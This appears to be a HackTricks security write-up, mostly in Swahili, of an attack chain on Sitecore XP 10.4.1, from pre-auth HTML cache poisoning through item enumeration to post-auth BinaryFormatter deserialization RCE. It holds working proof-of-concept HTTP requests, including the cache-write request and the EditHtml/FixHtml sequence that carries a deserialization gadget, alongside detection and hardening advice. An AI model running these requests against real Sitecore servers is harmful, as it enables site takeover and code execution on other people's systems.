Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unatoa muhtasari wa mnyororo wa shambulio wa vitendo dhidi ya Sitecore XP 10.4.1 unaotoka kutoka kwenye pre‑auth XAML handler hadi HTML cache poisoning na, kupitia authenticated UI flow, kufikia RCE kupitia BinaryFormatter deserialization. Mbinu hizi zinaweza kutumika kwa matoleo/vitengo vya Sitecore vinavyofanana na zinatoa primitives za kujaribu, kugundua, na kuimarisha.

  • Bidhaa iliyoathiriwa iliyojaribiwa: Sitecore XP 10.4.1 rev. 011628
  • Imerekebishwa katika: KB1003667, KB1003734 (Juni/Julai 2025)

Angalia pia:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Entrypoint is the pre‑auth XAML handler registered in web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Inapatikana kupitia:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Mti wa controls unajumuisha AjaxScriptManager ambayo, kwenye maombi ya matukio, husoma maeneo yaliyodhibitiwa na mshambuliaji na kwa kutumia reflection huitekeleza methods kwenye controls zilizolengwa:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Uchunguzi muhimu: ukurasa la XAML una mfano wa XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl inatokana na Sitecore.Web.UI.WebControl (darasa la Sitecore), ambalo linapitisha ReflectionUtil.Filter allow‑list (Sitecore.*), likifungua methods kwenye Sitecore WebControl.

Magic method for poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Kwa sababu tunaweza kulenga xmlcontrol:GlobalHeader na kuita Sitecore.Web.UI.WebControl methods kwa jina, tunapata pre‑auth arbitrary HtmlCache write primitive.

Ombi la PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Vidokezo:

  • __SOURCE ni clientID ya xmlcontrol:GlobalHeader ndani ya Sitecore.Shell.Xaml.WebControl (kwa kawaida thabiti kama ctl00_ctl00_ctl05_ctl03 kwa kuwa hutokana na XAML isiyobadilika).
  • __PARAMETERS muundo ni Method("arg1","arg2").

Nini cha poison: Ujenzi wa Cache key

Ujenzi wa kawaida wa HtmlCache key unaotumiwa na Sitecore controls:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Mfano wa targeted poisoning kwa sublayout inayojulikana:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Kuorodhesha vipengee vinavyoweza kuwekwa kwenye cache na vipimo vya “vary by”

Ikiwa ItemService imefunuliwa (kibaya) kwa watu wasiojulikana, unaweza kuorodhesha vipengee vinavyoweza kuwekwa kwenye cache ili kupata funguo sahihi.

Jaribio la haraka:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Orodhesha vitu vinavyoweza kuhifadhiwa kwenye cache na bendera:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Angalia sehemu kama Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Majina ya vifaa yanaweza kuorodheshwa kupitia:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration chini ya vitambulisho vilivyo na vikwazo (CVE-2025-53694)

Hata pale ItemService inapojifanya akaunti iliyopunguzwa (e.g., ServicesAPI) na kurudisha array tupu ya Results, TotalCount bado inaweza kuonyesha pre‑ACL Solr hits. Unaweza brute‑force item groups/ids kwa wildcards na kutazama TotalCount ikijikusanya ili kuchora ramani ya internal content na devices:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink katika convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Inapatikana kupitia hatua ya pipeline convertToRuntimeHtml ConvertWebControls, ambayo inatafuta element yenye id {iframeId}_inner na hufanya base64 decode + deserializes yake, kisha inaingiza string inayotokana ndani ya HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Chochea (iliyothibitishwa, haki za Content Editor). Dialogi ya FixHtml inaita convertToRuntimeHtml. Mchakato kamili bila kubofya UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Mnyororo kamili

  1. Mshambulizi wa Pre‑auth anachafua HtmlCache na HTML yoyote kwa kuitisha kwa reflective WebControl.AddToCache kupitia XAML AjaxScriptManager.
  2. HTML iliyochafuliwa hutumikia JavaScript inayomshawishi mtumiaji aliye authenticated wa Content Editor kupitia mtiririko wa FixHtml.
  3. Ukurasa wa FixHtml unasababisha convertToRuntimeHtml → ConvertWebControls, ambayo inadekodeserializa base64 inayoendeshwa na mshambuliaji kupitia BinaryFormatter → RCE chini ya identity ya app pool ya Sitecore.

Ugunduzi

  • Pre‑auth XAML: maombi kwa /-/xaml/Sitecore.Shell.Xaml.WebControl yenye __ISEVENT=1, __SOURCE isiyo ya kawaida na __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes ya maswali ya wildcard kwa /sitecore/api/ssc, TotalCount kubwa na Results tupu.
  • Deserialization attempts: EditHtml.aspx ikifuatiwa na FixHtml.aspx?hdl=... na base64 kubwa isiyo ya kawaida katika vikambu vya HTML.

Kuimarisha usalama

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; fuatilia na weka rate‑limit /-/xaml/.
  • Ondoa/ibadilishe BinaryFormatter; zuia upatikanaji wa convertToRuntimeHtml au tekeleza uthibitisho mkali upande wa server kwa mtiririko wa uhariri wa HTML.
  • Funga /sitecore/api/ssc kwa loopback au roles zilizo authenticated; epuka mifumo ya impersonation zinazoweza leak za side channels zenye msingi wa TotalCount.
  • Leteza MFA/least privilege kwa watumiaji wa Content Editor; hakiki CSP ili kupunguza athari ya JS steering kutoka cache poisoning.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks